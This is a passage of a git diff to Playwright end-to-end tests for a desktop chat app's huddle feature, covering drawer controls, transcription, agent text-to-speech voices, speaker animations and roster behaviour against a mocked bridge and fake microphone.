index 5d9d867175..404f145fa2 100644
--- a/desktop/tests/e2e/huddle-transcription.spec.ts
+++ b/desktop/tests/e2e/huddle-transcription.spec.ts
@@ -1,9 +1,34 @@
 import { expect, test } from "@playwright/test";
 
+import {
+  KIND_HUDDLE_ENDED,
+  KIND_HUDDLE_STARTED,
+} from "../../src/shared/constants/kinds";
+import { waitForAnimations } from "../helpers/animations";
 import { installMockBridge, TEST_IDENTITIES } from "../helpers/bridge";
 
 const HUDDLE_CHANNEL_ID = "11111111-1111-4111-8111-111111111111";
 const HUDDLE_PARENT_ID = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
+const HUDDLE_THREAD_ROOT_ID = "mock-general-welcome";
+
+async function waitForMockLiveSubscription(
+  page: import("@playwright/test").Page,
+  channelName: string,
+  kind?: number,
+) {
+  await expect
+    .poll(() =>
+      page.evaluate(
+        ({ kind, name }) =>
+          window.__BUZZ_E2E_HAS_MOCK_LIVE_SUBSCRIPTION__?.({
+            channelName: name,
+            kind,
+          }) ?? false,
+        { kind, name: channelName },
+      ),
+    )
+    .toBe(true);
+}
 
 async function setHuddleSnapshot(
   page: import("@playwright/test").Page,
@@ -38,9 +63,53 @@ async function setHuddleSnapshot(
   );
 }
 
-test("renders authoritative huddle snapshots and sends explicit off once", async ({
-  page,
-}) => {
+async function installFakeHuddleMicrophone(
+  page: import("@playwright/test").Page,
+) {
+  await page.addInitScript(() => {
+    const mediaDevices = navigator.mediaDevices ?? ({} as MediaDevices);
+    if (!navigator.mediaDevices) {
+      Object.defineProperty(navigator, "mediaDevices", {
+        configurable: true,
+        value: mediaDevices,
+      });
+    }
+
+    Object.defineProperty(mediaDevices, "enumerateDevices", {
+      configurable: true,
+      value: async () => [
+        {
+          deviceId: "mock-huddle-microphone",
+          groupId: "mock-huddle-audio",
+          kind: "audioinput",
+          label: "Mock Huddle Microphone",
+          toJSON() {
+            return this;
+          },
+        } as MediaDeviceInfo,
+      ],
+    });
+    Object.defineProperty(mediaDevices, "getUserMedia", {
+      configurable: true,
+      value: async () => {
+        const context = new AudioContext({ sampleRate: 48_000 });
+        const oscillator = context.createOscillator();
+        const gain = context.createGain();
+        const destination = context.createMediaStreamDestination();
+        gain.gain.value = 0;
+        oscillator.connect(gain);
+        gain.connect(destination);
+        oscillator.start();
+        return destination.stream;
+      },
+    });
+  });
+}
+
+test("keeps the drawer open until the huddle is expanded", async ({ page }) => {
+  await page.addInitScript(() => {
+    window.localStorage.setItem("buzz-theme", "buzz-dark");
+  });
   await installMockBridge(page, {
     huddle: {
       parentChannelId: HUDDLE_PARENT_ID,
@@ -55,200 +124,1501 @@ test("renders authoritative huddle snapshots and sends explicit off once", async
 
   await page.goto("/");
 
+  const gradientUnderlay = page.locator(".buzz-theme-gradient-underlay");
+  const openGradient = await gradientUnderlay.evaluate(
+    (element) => getComputedStyle(element).backgroundImage,
+  );
+  expect(openGradient).not.toBe("none");
+
   const transcriptButton = page.getByRole("button", {
     name: "Stop transcript",
   });
   await expect(transcriptButton).toBeVisible();
-  await expect(transcriptButton).toHaveAttribute("aria-pressed", "true");
-  const activeBackground = await transcriptButton.evaluate(
-    (button) => getComputedStyle(button).backgroundColor,
-  );
-  await page
-    .getByRole("button", { name: "Show huddle participants (2)" })
-    .click();
+  const huddleShell = page.locator(".buzz-huddle-shell");
+  await expect(huddleShell).toHaveAttribute("data-huddle-open", "true");
+  const huddleBackdrop = page.locator(".buzz-huddle-drawer-backdrop");
+  await expect(huddleBackdrop).toHaveClass(/buzz-huddle-drawer-backdrop-open/);
+  const [huddleBackdropColor, huddleDrawerColor] = await Promise.all([
+    huddleBackdrop.evaluate(
+      (element) => getComputedStyle(element).backgroundColor,
+    ),
+    page
+      .locator(".buzz-huddle-drawer")
+      .first()
+      .evaluate((element) => getComputedStyle(element).backgroundColor),
+  ]);
+  expect(huddleBackdropColor).toBe(huddleDrawerColor);
+  await expect
+    .poll(() =>
+      huddleBackdrop.evaluate((element) => {
+        const shell = element.parentElement;
+        const appSurface = shell?.querySelector(".buzz-huddle-app-surface");
+        if (!appSurface) return false;
+        const backdropStyle = getComputedStyle(element);
+        const appStyle = getComputedStyle(appSurface);
+        return Number(backdropStyle.zIndex) < Number(appStyle.zIndex);
+      }),
+    )
+    .toBe(true);
+  const drawerAgentMenu = page.getByRole("button", {
+    name: "Voice settings for alice",
+  });
   await expect(
-    page.getByRole("button", { name: /Remove .* from huddle/ }),
-  ).toHaveCount(1);
-  await page.keyboard.press("Escape");
-
-  await setHuddleSnapshot(
-    page,
-    [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
-    true,
-  );
+    drawerAgentMenu.getByTestId("huddle-participant-avatar"),
+  ).toBeVisible();
+  await drawerAgentMenu.click();
   await expect(
-    page.getByRole("button", { name: "Show huddle participants (1)" }),
+    page.getByText("Agent text-to-speech", { exact: true }),
   ).toBeVisible();
-  await expect(transcriptButton).toHaveAttribute("aria-pressed", "true");
-
-  await setHuddleSnapshot(
-    page,
-    [
-      { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
-      { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
-    ],
-    true,
-  );
-  await expect(transcriptButton).toHaveAttribute("aria-pressed", "true");
-
-  await transcriptButton.click();
+  await expect(page.getByText("Agent voice", { exact: true })).toBeVisible();
   await expect(
-    page.getByRole("button", { name: "Start transcript" }),
-  ).toHaveAttribute("aria-pressed", "false");
-  const inactiveTranscriptButton = page.getByRole("button", {
-    name: "Start transcript",
-  });
+    page.getByRole("button", { name: "Remove alice from huddle" }),
+  ).toBeVisible();
+  await page.keyboard.press("Escape");
+  await expect(page.getByTestId("profile-huddle-control")).toHaveCount(0);
+  await page
+    .getByRole("button", { name: "Open huddle in a new window" })
+    .click();
   await expect
     .poll(() =>
-      inactiveTranscriptButton.evaluate(
-        (button) => getComputedStyle(button).backgroundColor,
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "open_huddle_window",
+          ).length,
       ),
     )
-    .not.toBe(activeBackground);
-
-  const explicitToggleCommands = await page.evaluate(() =>
-    (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
-      (entry) => entry.command === "set_huddle_transcription_enabled",
-    ),
+    .toBe(1);
+  const huddleControl = page.getByTestId("profile-huddle-control");
+  await expect(huddleControl).toBeVisible();
+  const mainContentSurface = page.locator(
+    "[data-buzz-content-surface]:not([data-buzz-content-unframed])",
   );
-  expect(explicitToggleCommands).toEqual([
-    {
-      command: "set_huddle_transcription_enabled",
-      payload: { enabled: false },
-    },
+  await expect(mainContentSurface).toBeVisible();
+  const [mainContentColor, huddleCardColor] = await Promise.all([
+    mainContentSurface.evaluate(
+      (element) => getComputedStyle(element).backgroundColor,
+    ),
+    huddleControl.evaluate(
+      (element) => getComputedStyle(element).backgroundColor,
+    ),
   ]);
-
-  await page.reload();
+  expect(huddleCardColor).toBe(mainContentColor);
+  await expect(huddleControl).toHaveCSS("border-top-width", "1px");
+  await expect(huddleControl).toContainText("In a huddle");
+  await expect(huddleControl).toContainText("#general");
+  const compactMicButton = huddleControl.getByRole("button", {
+    name: /microphone/i,
+  });
+  await expect(compactMicButton).toBeVisible();
+  await expect(compactMicButton).toHaveClass(/bg-destructive\/15/);
+  await expect(compactMicButton).toHaveClass(/text-destructive/);
   await expect(
-    page.getByRole("button", { name: "Start transcript" }),
-  ).toHaveAttribute("aria-pressed", "false");
+    huddleControl.getByRole("button", { name: "Audio settings" }),
+  ).not.toHaveClass(/bg-destructive\/15/);
+  const [micContainerRadius, micHoverRadius] = await Promise.all([
+    compactMicButton
+      .locator("..")
+      .evaluate((element) => getComputedStyle(element).borderTopLeftRadius),
+    compactMicButton.evaluate(
+      (element) => getComputedStyle(element).borderTopLeftRadius,
+    ),
+  ]);
+  expect(micHoverRadius).toBe(micContainerRadius);
+  await expect(huddleControl).toContainText("Leave");
   await expect(
-    page.getByRole("button", { name: "Show huddle participants (2)" }),
-  ).toBeVisible();
+    huddleControl.getByRole("button", { name: /huddle speaker/i }),
+  ).toHaveCount(0);
+  await expect(transcriptButton).toHaveCount(0);
+  await huddleControl
+    .getByRole("button", { name: "Open huddle window" })
+    .click();
   await expect
     .poll(() =>
       page.evaluate(
         () =>
           (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
-            (entry) => entry.command === "set_huddle_transcription_enabled",
+            (entry) => entry.command === "open_huddle_window",
           ).length,
       ),
     )
-    .toBe(0);
-
-  await setHuddleSnapshot(
-    page,
-    [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
-    false,
+    .toBe(2);
+  await huddleControl.getByRole("button", { name: "Leave huddle" }).click();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+            (entry) => entry.command === "leave_huddle",
+          ).length,
+      ),
+    )
+    .toBe(1);
+  await expect(page.locator(".buzz-huddle-shell")).toHaveAttribute(
+    "data-huddle-open",
+    "false",
   );
-  await expect(
-    page.getByRole("button", { name: "Show huddle participants (1)" }),
-  ).toBeVisible();
-  await expect(
-    page.getByRole("button", { name: "Start transcript" }),
-  ).toHaveAttribute("aria-pressed", "false");
+  const closedGradient = await gradientUnderlay.evaluate(
+    (element) => getComputedStyle(element).backgroundImage,
+  );
+  expect(closedGradient).toBe(openGradient);
 });
 
-test("keeps a newer huddle event over a delayed hydration snapshot", async ({
+test("shows speaker identity on every huddle chat message", async ({
   page,
 }) => {
   await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
     huddle: {
       parentChannelId: HUDDLE_PARENT_ID,
       ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      huddleThreadEventId: HUDDLE_THREAD_ROOT_ID,
       members: [
         { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
         { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
       ],
       transcriptionEnabled: true,
     },
-    huddleStateReadDelayMs: 250,
+    mock: { threadRepliesDelayMs: 1_500 },
   });
   await page.goto("/");
+
   await expect
     .poll(() =>
-      page.evaluate(() =>
-        (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).some(
-          (entry) => entry.command === "get_huddle_state",
-        ),
+      page.evaluate(
+        () => window.__TAURI_INTERNALS__?.metadata.currentWindow.label,
       ),
     )
-    .toBe(true);
+    .toBe(`huddle-${HUDDLE_CHANNEL_ID}`);
+  await expect(page.getByTestId("huddle-transcript-intro")).toBeVisible();
+  await expect(page.getByTestId("message-thread-replies-loading")).toHaveCount(
+    0,
+  );
+  const transcriptTopGap = await page.evaluate(() => {
+    const participantStrip = document.querySelector(
+      '[data-testid="huddle-participant-strip"]',
+    );
+    const participantTray = participantStrip?.closest("header");
+    const transcriptIntro = document.querySelector(
+      '[data-testid="huddle-transcript-intro"]',
+    );
+    if (!participantTray || !transcriptIntro) return null;
+    return Math.round(
+      transcriptIntro.getBoundingClientRect().top -
+        participantTray.getBoundingClientRect().bottom,
+    );
+  });
+  expect(transcriptTopGap).toBe(16);
+  await waitForMockLiveSubscription(page, "huddle");
+  await page.evaluate(() => {
+    const threadRoot = window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "First huddle message",
+    });
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "Second huddle message",
+    });
+    if (!threadRoot) throw new Error("Failed to create Huddle thread root.");
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "Agent response flattened into the huddle chat",
+      parentEventId: threadRoot.id,
+      pubkey: "deadbeef".repeat(8),
+    });
+  });
 
-  await setHuddleSnapshot(
-    page,
-    [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
-    false,
+  for (const content of [
+    "First huddle message",
+    "Second huddle message",
+    "Agent response flattened into the huddle chat",
+  ]) {
+    const row = page.getByTestId("message-row").filter({ hasText: content });
+    await expect(row).toBeVisible();
+    await expect(row.locator('[data-testid^="message-avatar-"]')).toBeVisible();
+    await expect(row.getByTestId("message-author")).toBeVisible();
+    await expect(row.getByTestId("message-timestamp")).toBeVisible();
+  }
+  await expect(page.getByTestId("message-thread-panel")).toHaveCount(0);
+});
+
+test("ignores persisted community onboarding in the huddle room", async ({
+  page,
+}) => {
+  const persistedTransaction = {
+    id: "main-window-community-transaction",
+    source: "deep-link-join",
+    stage: "claiming",
+    relayUrl: "wss://other.example",
+    inviteCode: "main-window-invite",
+    communityName: "Other community",
+    createdAt: "2026-08-03T20:00:00.000Z",
+    updatedAt: "2026-08-03T20:00:00.000Z",
+  };
+  await page.addInitScript((transaction) => {
+    window.localStorage.setItem(
+      "buzz-community-onboarding-transaction.v1",
+      JSON.stringify(transaction),
+    );
+  }, persistedTransaction);
+  const claimRequests: string[] = [];
+  page.on("request", (request) => {
+    if (request.url().includes("/api/invites/claim")) {
+      claimRequests.push(request.url());
+    }
+  });
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+  });
+
+  for (let load = 0; load < 2; load += 1) {
+    await page.goto("/");
+    await expect(page.getByTestId("huddle-transcript-intro")).toBeVisible();
+    await expect(
+      page.getByText("Setting up your community", { exact: true }),
+    ).toHaveCount(0);
+    await expect
+      .poll(() =>
+        page.evaluate(() => {
+          const raw = window.localStorage.getItem(
+            "buzz-community-onboarding-transaction.v1",
+          );
+          return raw ? JSON.parse(raw) : null;
+        }),
+      )
+      .toEqual(persistedTransaction);
+    await expect
+      .poll(() =>
+        page.evaluate(() =>
+          JSON.parse(window.localStorage.getItem("buzz-communities") ?? "[]"),
+        ),
+      )
+      .not.toContainEqual(
+        expect.objectContaining({ relayUrl: persistedTransaction.relayUrl }),
+      );
+    expect(claimRequests).toHaveLength(0);
+  }
+});
+
+test("keeps main-app shortcuts from navigating the huddle room", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    pendingCommunityDeepLinks: [
+      {
+        id: "companion-must-not-consume",
+        kind: "connect",
+        relayUrl: "wss://other.example",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  await expect(page).toHaveURL(
+    new RegExp(`/channels/${HUDDLE_CHANNEL_ID.replaceAll("-", "\\-")}`),
   );
+  const huddleUrl = page.url();
+  const primaryModifier = process.platform === "darwin" ? "Meta" : "Control";
 
-  await expect(
-    page.getByRole("button", { name: "Show huddle participants (1)" }),
-  ).toBeVisible();
-  await expect(
-    page.getByRole("button", { name: "Start transcript" }),
-  ).toHaveAttribute("aria-pressed", "false");
-  await page.waitForTimeout(300);
-  await expect(
-    page.getByRole("button", { name: "Show huddle participants (1)" }),
-  ).toBeVisible();
+  for (const shortcut of ["Shift+K", "Shift+A", "Comma"]) {
+    await page.keyboard.press(`${primaryModifier}+${shortcut}`);
+    await expect.poll(() => page.url()).toBe(huddleUrl);
+    await expect(page.getByTestId("settings-view")).toHaveCount(0);
+  }
+
+  await page.evaluate(async (channelId) => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("deep-link-message", {
+      channelId,
+      messageId: "mock-general-welcome",
+      threadRootId: null,
+    });
+  }, HUDDLE_PARENT_ID);
+  await expect.poll(() => page.url()).toBe(huddleUrl);
+
+  const pendingCommunityLink = {
+    code: null,
+    id: "companion-must-not-consume",
+    kind: "connect" as const,
+    name: null,
+    relayUrl: "wss://other.example",
+  };
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_TAURI_EVENT__?.("deep-link-connect", null);
+  });
+  await expect
+    .poll(() =>
+      page.evaluate(async () =>
+        window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+          "take_pending_community_deep_link",
+        ),
+      ),
+    )
+    .toEqual(pendingCommunityLink);
 });
 
-test("starts an agent DM huddle with the agent enrolled", async ({ page }) => {
-  await installMockBridge(page);
+test("speaks the first eligible agent reply with its participant identity", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
+      ttsEnabled: true,
+    },
+  });
   await page.goto("/");
-  await page.getByTestId("channel-alice-tyler").click();
-  await expect(page.getByTestId("chat-title")).toHaveText("alice-tyler");
+  await waitForMockLiveSubscription(page, "huddle");
 
-  const startButton = page.getByTestId("channel-start-huddle-trigger");
-  await expect(startButton).toBeEnabled();
-  await startButton.click();
+  await page.evaluate((agentPubkey) => {
+    window.__BUZZ_E2E_EMIT_MOCK_MESSAGE__?.({
+      channelName: "huddle",
+      content: "This first reply should be spoken.",
+      pubkey: agentPubkey,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
 
   await expect
     .poll(() =>
       page.evaluate(
         () =>
           (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).find(
-            (entry) => entry.command === "start_huddle",
+            (entry) => entry.command === "speak_agent_message",
           )?.payload,
       ),
     )
     .toMatchObject({
-      memberPubkeys: [TEST_IDENTITIES.alice.pubkey],
-      parentChannelId: "f48efb06-0c93-5025-aac9-2e646bb6bfa8",
+      text: "This first reply should be spoken.",
+      speakerPubkey: TEST_IDENTITIES.alice.pubkey,
     });
+  await expect(
+    page.getByRole("img", {
+      name: "Anyone can send instructions to this agent",
+    }),
+  ).toHaveCount(0);
 });
 
-test("closes add-agent dialog when parent membership is already satisfied", async ({
+test("animates the responding agent with the shared speaker ring", async ({
   page,
 }) => {
   await installMockBridge(page, {
-    addAgentToHuddleResult: {
-      ephemeral_added: true,
-      parent_added: true,
-      parent_error: null,
-    },
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
     huddle: {
       parentChannelId: HUDDLE_PARENT_ID,
       ephemeralChannelId: HUDDLE_CHANNEL_ID,
-      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
     },
-    managedAgents: [
-      {
-        pubkey: TEST_IDENTITIES.bob.pubkey,
-        name: "bob",
-        status: "running",
-      },
-    ],
   });
   await page.goto("/");
 
-  await page.getByRole("button", { name: "Add agent to huddle" }).click();
-  const dialog = page.getByRole("dialog", { name: "Add Agent to Huddle" });
-  await expect(dialog).toBeVisible();
-  await dialog.getByRole("button", { name: /bob/i }).click();
+  const agentAvatar = page
+    .getByTestId("huddle-participant-strip")
+    .locator(".buzz-huddle-speaking-avatar")
+    .nth(1);
+  await expect(agentAvatar).toBeVisible();
+  await page.evaluate(async (pubkey) => {
+    await window.__BUZZ_E2E_EMIT_MOCK_HUDDLE_TTS_SPEAKER__?.({
+      pubkey,
+      level: 0.8,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+  await expect
+    .poll(() =>
+      agentAvatar.evaluate((element) =>
+        element.style.getPropertyValue("--buzz-huddle-speaker-opacity"),
+      ),
+    )
+    .toBe("0.890");
 
-  await expect(dialog).toHaveCount(0);
+  await page.evaluate(async () => {
+    await window.__BUZZ_E2E_EMIT_MOCK_HUDDLE_TTS_SPEAKER__?.({
+      pubkey: null,
+      level: 0,
+    });
+  });
+  await expect
+    .poll(() =>
+      agentAvatar.evaluate((element) =>
+        element.style.getPropertyValue("--buzz-huddle-speaker-opacity"),
+      ),
+    )
+    .toBe("0");
+});
+
+test("stops the speaking agent from the huddle controls", async ({ page }) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
+    },
+  });
+  await page.goto("/");
+  const roomMicButton = page.getByRole("button", {
+    name: "Microphone unavailable",
+  });
+  await expect(roomMicButton).toHaveClass(/bg-destructive\/35/);
+  await expect(roomMicButton).toHaveClass(/text-destructive/);
   await expect(
-    page.getByText("Added to huddle, but parent channel failed:"),
-  ).toHaveCount(0);
+    page.getByRole("button", { name: "Audio settings" }),
+  ).not.toHaveClass(/bg-destructive\/35/);
+  const roomSpeakerButton = page.getByRole("button", {
+    name: "Unmute agent speech",
+  });
+  await expect(roomSpeakerButton).toHaveClass(/bg-destructive\/35/);
+  await expect(roomSpeakerButton).toHaveClass(/text-destructive/);
+  await expect(
+    page.getByRole("button", { name: "Speaker settings" }),
+  ).not.toHaveClass(/bg-destructive\/35/);
+  await waitForAnimations(page);
+  const agentTile = page
+    .getByTestId("huddle-participant-strip")
+    .getByTestId("huddle-participant-tile")
+    .nth(1);
+  const agentAvatar = page
+    .getByTestId("huddle-participant-strip")
+    .locator(".buzz-huddle-speaking-avatar")
+    .nth(1);
+  const labelSlots = page.getByTestId("huddle-participant-label-slot");
+  await expect(agentAvatar).toBeVisible();
+  await waitForAnimations(page);
+  const idleTileHeight = await agentTile.evaluate(
+    (element) => element.offsetHeight,
+  );
+  const idleAgentLabelBox = await labelSlots.nth(1).boundingBox();
+  const humanLabelBox = await labelSlots.nth(0).boundingBox();
+  expect(humanLabelBox?.y).toBe(idleAgentLabelBox?.y);
+  expect(humanLabelBox?.height).toBe(idleAgentLabelBox?.height);
+  expect(humanLabelBox?.width).toBe(idleAgentLabelBox?.width);
+  await page.evaluate(async (pubkey) => {
+    await window.__BUZZ_E2E_EMIT_MOCK_HUDDLE_TTS_SPEAKER__?.({
+      pubkey,
+      level: 0.8,
+    });
+  }, TEST_IDENTITIES.alice.pubkey);
+  await expect
+    .poll(() =>
+      agentAvatar.evaluate((element) =>
+        element.style.getPropertyValue("--buzz-huddle-speaker-opacity"),
+      ),
+    )
+    .toBe("0.890");
+
+  const stopButton = page.getByRole("button", { name: /^Stop .* speaking$/ });
+  await expect(stopButton).toBeVisible();
+  await expect(stopButton).toHaveClass(/bg-destructive\/15/);
+  expect(await labelSlots.nth(1).boundingBox()).toEqual(idleAgentLabelBox);
+  expect(await agentTile.evaluate((element) => element.offsetHeight)).toBe(
+    idleTileHeight,
+  );
+  await stopButton.click();
+  await expect
+    .poll(() =>
+      page.evaluate(
+        () =>
+          (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).findLast(
+            (entry) => entry.command === "interrupt_huddle_speech",
+          )?.payload ?? null,
+      ),
+    )
+    .toEqual({ agentPubkey: TEST_IDENTITIES.alice.pubkey });
+});
+
+test("assigns distinct agent voices and exposes compact per-agent controls", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    ttsSettings: {
+      version: 1,
+      agentTextToSpeech: true,
+      voicePreferences: ["pocket:vera"],
+    },
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+        { pubkey: TEST_IDENTITIES.bob.pubkey, role: "bot" },
+      ],
+      ttsEnabled: true,
+    },
+  });
+  await page.goto("/");
+
+  const voiceMenus = page.getByTestId("huddle-agent-voice-menu-trigger");
+  await expect(voiceMenus).toHaveCount(2);
+  await expect
+    .poll(async () => {
+      const state = (await page.evaluate(() =>
+        window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.("get_huddle_state"),
+      )) as {
+        agent_voice_settings: Record<
+          string,
+          { enabled: boolean; voice_key: string }
+        >;
+      };
+      return state.agent_voice_settings;
+    })
+    .toMatchObject({
+      [TEST_IDENTITIES.alice.pubkey]: {
+        enabled: true,
+        voice_key: "pocket:vera",
+      },
+    });
+  const assignedVoices = await page.evaluate(async () => {
+    const state = (await window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+      "get_huddle_state",
+    )) as {
+      agent_voice_settings: Record<string, { voice_key: string }>;
+    };
+    return Object.values(state.agent_voice_settings).map(
+      (settings) => settings.voice_key,
+    );
+  });
+  expect(new Set(assignedVoices).size).toBe(2);
+
+  await page.getByRole("button", { name: "Voice settings for alice" }).click();
+  await waitForAnimations(page);
+  const voiceMenu = page.locator(
+    '[data-testid="huddle-agent-voice-menu-content"][data-state="open"]',
+  );
+  await expect(voiceMenu).toBeVisible();
+  await expect(
+    voiceMenu.getByText("Agent text-to-speech", { exact: true }),
+  ).toBeVisible();
+  const ttsToggle = voiceMenu.getByTestId("huddle-agent-tts-toggle");
+  await expect(ttsToggle).toBeChecked();
+  await expect(
+    voiceMenu.getByTestId("huddle-agent-voice-selector"),
+  ).toContainText("Vera");
+
+  await ttsToggle.click();
+  await expect(
+    voiceMenu.getByTestId("huddle-agent-voice-selector"),
+  ).toHaveCount(0);
+  await ttsToggle.click();
+  await expect(ttsToggle).toBeChecked();
+  const voiceSelector = voiceMenu.getByTestId("huddle-agent-voice-selector");
+  await expect(voiceSelector).toBeEnabled();
+  await voiceSelector.click();
+  await page.getByRole("menuitemradio", { name: "Jane" }).click();
+  await expect
+    .poll(() =>
+      page.evaluate(() => {
+        const updates = (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+          (entry) => entry.command === "set_huddle_agent_voice",
+        );
+        return updates.at(-1)?.payload ?? null;
+      }),
+    )
+    .toMatchObject({
+      agentPubkey: TEST_IDENTITIES.alice.pubkey,
+      voiceKey: "pocket:jane",
+    });
+});
+
+test("adds channel-mentioned agents to the live huddle roster", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [
+        { pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" },
+        { pubkey: TEST_IDENTITIES.alice.pubkey, role: "bot" },
+      ],
+    },
+  });
+  await page.goto("/");
+
+  const participantTiles = page.getByTestId("huddle-participant-tile");
+  await expect(participantTiles).toHaveCount(2);
+  const result = await page.evaluate(
+    async ({ channelId, pubkey }) =>
+      window.__BUZZ_E2E_INVOKE_MOCK_COMMAND__?.(
+        "sync_agents_to_active_huddle",
+        {
+          channelId,
+          agentPubkeys: [pubkey],
+        },
+      ),
+    {
+      channelId: HUDDLE_PARENT_ID,
+      pubkey: TEST_IDENTITIES.bob.pubkey,
+    },
+  );
+
+  expect(result).toEqual({
+    matched_active_huddle: true,
+    added: [TEST_IDENTITIES.bob.pubkey],
+  });
+  await expect(participantTiles).toHaveCount(3);
+  await expect(
+    page.getByRole("button", { name: "Voice settings for Bob" }),
+  ).toBeVisible();
+});
+
+test("does not enroll available agents when sending an ordinary message", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+    managedAgents: [
+      {
+        pubkey: TEST_IDENTITIES.alice.pubkey,
+        name: "alice",
+        status: "running",
+      },
+      {
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        name: "bob",
+        status: "running",
+      },
+    ],
+  });
+  await page.goto("/");
+
+  const participantTiles = page.getByTestId("huddle-participant-tile");
+  await expect(participantTiles).toHaveCount(1);
+  await page.getByTestId("message-input").fill("A message for the room");
+  await page.getByTestId("send-message").click();
+
+  await expect(
+    page
+      .getByTestId("message-row")
+      .filter({ hasText: "A message for the room" }),
+  ).toBeVisible();
+  await expect(participantTiles).toHaveCount(1);
+  expect(
+    await page.evaluate(
+      () =>
+        (window.__BUZZ_E2E_COMMAND_LOG__ ?? []).filter(
+          (entry) => entry.command === "sync_agents_to_active_huddle",
+        ).length,
+    ),
+  ).toBe(0);
+});
+
+test("keeps the colored startup surface while huddle controls connect", async ({
+  page,
+}) => {
+  await installMockBridge(page, {
+    windowLabel: `huddle-${HUDDLE_CHANNEL_ID}`,
+    huddle: {
+      parentChannelId: HUDDLE_PARENT_ID,
+      ephemeralChannelId: HUDDLE_CHANNEL_ID,
+      phase: "connected",
+      members: [{ pubkey: TEST_IDENTITIES.tyler.pubkey, role: "member" }],
+    },
+  });
+  await page.goto("/");
+
+  await expect(page.getByTestId("huddle-starting-view")).toBeVisible();
+  await expect(
+    page.getByRole("status", { name: "Starting huddle" }),
+  ).toBeVisible();
+  await expect(
+    page.getByTestId("huddle-starting-view").locator(".bee-sprite"),
+  ).toBeVisible();
+  await expect(page.getByTestId("setup-grainient-background")).toBeVisible();
+  await expect(
+    page.getByRole("button", { name: "Leave huddle" }),
+  ).toBeVisible();
+  await expect(page.getByTestId("message-thread-loading")).toHaveCount(0);
+  await expect(page.getByTestId("huddle-participant-strip")).toHaveCount(0);
